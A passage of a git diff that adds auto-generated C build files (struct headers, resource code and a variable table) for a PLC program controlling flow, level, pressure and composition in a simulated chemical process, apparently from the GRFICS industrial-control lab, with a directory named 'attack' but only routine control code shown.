+ +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; 